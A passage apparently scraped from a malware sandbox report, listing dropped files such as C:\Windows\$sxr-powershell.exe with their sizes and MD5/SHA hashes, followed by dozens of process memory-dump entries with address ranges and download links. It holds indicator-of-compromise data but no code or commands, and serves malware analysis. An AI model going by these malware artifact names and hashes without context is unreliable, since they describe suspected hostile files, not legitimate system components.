96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
C:\Windows\$sxr-powershell.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/436-116-0x000001FA01900000-0x000001FA01929000-memory.dmp

Filesize
164KB

Download
memory/436-122-0x00007FF9D6C50000-0x00007FF9D6C60000-memory.dmp

Filesize
64KB

Download
memory/436-123-0x000001FA01900000-0x000001FA01929000-memory.dmp

Filesize
164KB

Download
memory/436-124-0x000001FA01900000-0x000001FA01929000-memory.dmp

Filesize
164KB

Download
memory/672-92-0x0000027163890000-0x00000271638B9000-memory.dmp

Filesize
164KB

Download
memory/672-91-0x0000027163890000-0x00000271638B9000-memory.dmp

Filesize
164KB

Download
memory/672-90-0x0000027163860000-0x0000027163883000-memory.dmp

Filesize
140KB

Download
memory/672-100-0x0000027163890000-0x00000271638B9000-memory.dmp

Filesize
164KB

Download
memory/672-99-0x0000027163890000-0x00000271638B9000-memory.dmp

Filesize
164KB

Download
memory/672-98-0x00007FF9D6C50000-0x00007FF9D6C60000-memory.dmp

Filesize
64KB

Download
memory/832-69-0x000002377C9B0000-0x000002377D056000-memory.dmp

Filesize
6.6MB

Download
memory/832-83-0x000002377ECE0000-0x000002377ED22000-memory.dmp

Filesize
264KB

Download
memory/832-783-0x000002377F200000-0x000002377F23C000-memory.dmp

Filesize
240KB

Download
memory/832-771-0x000002377F080000-0x000002377F122000-memory.dmp

Filesize
648KB

Download
memory/832-770-0x000002377F420000-0x000002377F5E2000-memory.dmp

Filesize
1.8MB

Download
memory/832-768-0x000002377F140000-0x000002377F1F2000-memory.dmp

Filesize
712KB

Download
memory/832-766-0x000002377F030000-0x000002377F080000-memory.dmp

Filesize
320KB

Download
memory/832-73-0x0000023749C30000-0x0000023749C52000-memory.dmp

Filesize
136KB

Download
memory/832-72-0x00007FFA14CD0000-0x00007FFA14D8E000-memory.dmp

Filesize
760KB

Download
memory/832-75-0x0000023764280000-0x0000023764286000-memory.dmp

Filesize
24KB

Download
memory/832-76-0x000002377DAF0000-0x000002377E03E000-memory.dmp

Filesize
5.3MB

Download
memory/832-77-0x000002377E040000-0x000002377E7EE000-memory.dmp

Filesize
7.7MB

Download
memory/832-78-0x000002377E7F0000-0x000002377EB7C000-memory.dmp

Filesize
3.5MB

Download
memory/832-71-0x00007FFA16BD0000-0x00007FFA16DC5000-memory.dmp

Filesize
2.0MB

Download
memory/832-70-0x000002377D060000-0x000002377D748000-memory.dmp

Filesize
6.9MB

Download
memory/832-87-0x0000000180000000-0x0000000180007000-memory.dmp

Filesize
28KB

Download
memory/832-74-0x0000023763FB0000-0x0000023763FB6000-memory.dmp

Filesize
24KB

Download
memory/832-82-0x000002377EC70000-0x000002377ECDA000-memory.dmp

Filesize
424KB

Download
memory/832-79-0x000002377EB80000-0x000002377EC32000-memory.dmp

Filesize
712KB

Download
memory/864-128-0x000002A7AE330000-0x000002A7AE359000-memory.dmp

Filesize
164KB

Download
memory/864-136-0x000002A7AE330000-0x000002A7AE359000-memory.dmp

Filesize
164KB

Download
memory/864-135-0x000002A7AE330000-0x000002A7AE359000-memory.dmp

Filesize
164KB

Download
memory/864-134-0x00007FF9D6C50000-0x00007FF9D6C60000-memory.dmp

Filesize
64KB

Download
memory/944-110-0x00007FF9D6C50000-0x00007FF9D6C60000-memory.dmp

Filesize
64KB

Download
memory/944-104-0x0000024CE7900000-0x0000024CE7929000-memory.dmp

Filesize
164KB

Download
memory/944-112-0x0000024CE7900000-0x0000024CE7929000-memory.dmp

Filesize
164KB

Download
memory/944-111-0x0000024CE7900000-0x0000024CE7929000-memory.dmp

Filesize
164KB

Download
memory/4156-45-0x00007FF9F8713000-0x00007FF9F8715000-memory.dmp

Filesize
8KB

Download
memory/4156-38-0x000001FE624E0000-0x000001FE624E8000-memory.dmp

Filesize
32KB

Download
memory/4156-20-0x00007FF7DE000000-0x00007FF7DE071000-memory.dmp

Filesize
452KB

Download
memory/4156-21-0x00007FF9F8710000-0x00007FF9F91D1000-memory.dmp

Filesize
10.8MB

Download
memory/4156-22-0x00007FF9F8710000-0x00007FF9F91D1000-memory.dmp

Filesize
10.8MB

Download
memory/4156-23-0x000001FE62320000-0x000001FE6241C000-memory.dmp

Filesize
1008KB

Download
memory/4156-51-0x00007FF9F8710000-0x00007FF9F91D1000-memory.dmp

Filesize
10.8MB

Download
memory/4156-81-0x00007FF9F8710000-0x00007FF9F91D1000-memory.dmp

Filesize
10.8MB

Download
memory/4156-50-0x00007FF9F8710000-0x00007FF9F91D1000-memory.dmp

Filesize
10.8MB

Download
memory/4156-24-0x000001FE307E0000-0x000001FE30802000-memory.dmp

Filesize
136KB

Download
memory/4156-39-0x0000000180000000-0x0000000180007000-memory.dmp

Filesize
28KB

Download
memory/4156-18-0x00007FFA16BD0000-0x00007FFA16DC5000-memory.dmp

Filesize
2.0MB

Download
memory/4156-19-0x00007FFA14CD0000-0x00007FFA14D8E000-memory.dmp

Filesize
760KB

Download
memory/4156-17-0x000001FE61630000-0x000001FE6211C000-memory.dmp

Filesize
10.9MB

Download
memory/4156-16-0x00007FF9F8710000-0x00007FF9F91D1000-memory.dmp

Filesize
10.8MB

Download
memory/4156-15-0x000001FE60B80000-0x000001FE6162C000-memory.dmp

Filesize
10.7MB

Download
memory/4156-14-0x000001FE80010000-0x000001FE80086000-memory.dmp

Filesize
472KB

Download
memory/4156-0-0x00007FF9F8713000-0x00007FF9F8715000-memory.dmp

Filesize
8KB

Download
memory/4156-36-0x000001FE632B0000-0x000001FE632DE000-memory.dmp

Filesize
184KB

Download
memory/4156-13-0x000001FE7DEB0000-0x000001FE7DEF4000-memory.dmp

Filesize
272KB

Download
memory/4156-11-0x00007FF9F8710000-0x00007FF9F91D1000-memory.dmp

Filesize
10.8MB

Download
memory/4156-34-0x000001FE63210000-0x000001FE63246000-memory.dmp

Filesize
216KB

Download
memory/4156-35-0x000001FE63250000-0x000001FE632A8000-memory.dmp

Filesize
352KB

Download
memory/4156-33-0x000001FE63160000-0x000001FE63212000-memory.dmp

Filesize
712KB

Download
memory/4156-32-0x000001FE62530000-0x000001FE6315C000-memory.dmp

Filesize
12.2MB

Download
memory/4156-12-0x00007FF9F8710000-0x00007FF9F91D1000-memory.dmp

Filesize
10.8MB

Download
memory/4156-1-0x000001FE7DE30000-0x000001FE7DE52000-memory.dmp

Filesize
136KB

Download
memory/4156-31-0x000001FE30830000-0x000001FE3086E000-memory.dmp

Filesize
248KB

Download
memory/4156-30-0x000001FE30810000-0x000001FE30816000-memory.dmp

Filesize
24KB

Download
memory/4156-29-0x000001FE7DC60000-0x000001FE7DC68000-memory.dmp

Filesize
32KB

Download
memory/4156-28-0x000001FE30800000-0x000001FE30806000-memory.dmp

Filesize
24KB

Download
memory/4156-26-0x000001FE62420000-0x000001FE6247E000-memory.dmp

Filesize
376KB

Download
memory/4156-27-0x000001FE62480000-0x000001FE624D8000-memory.dmp

Filesize
352KB

Download
memory/4156-25-0x000001FE30820000-0x000001FE30826000-memory.dmp

Filesize
24KB

Download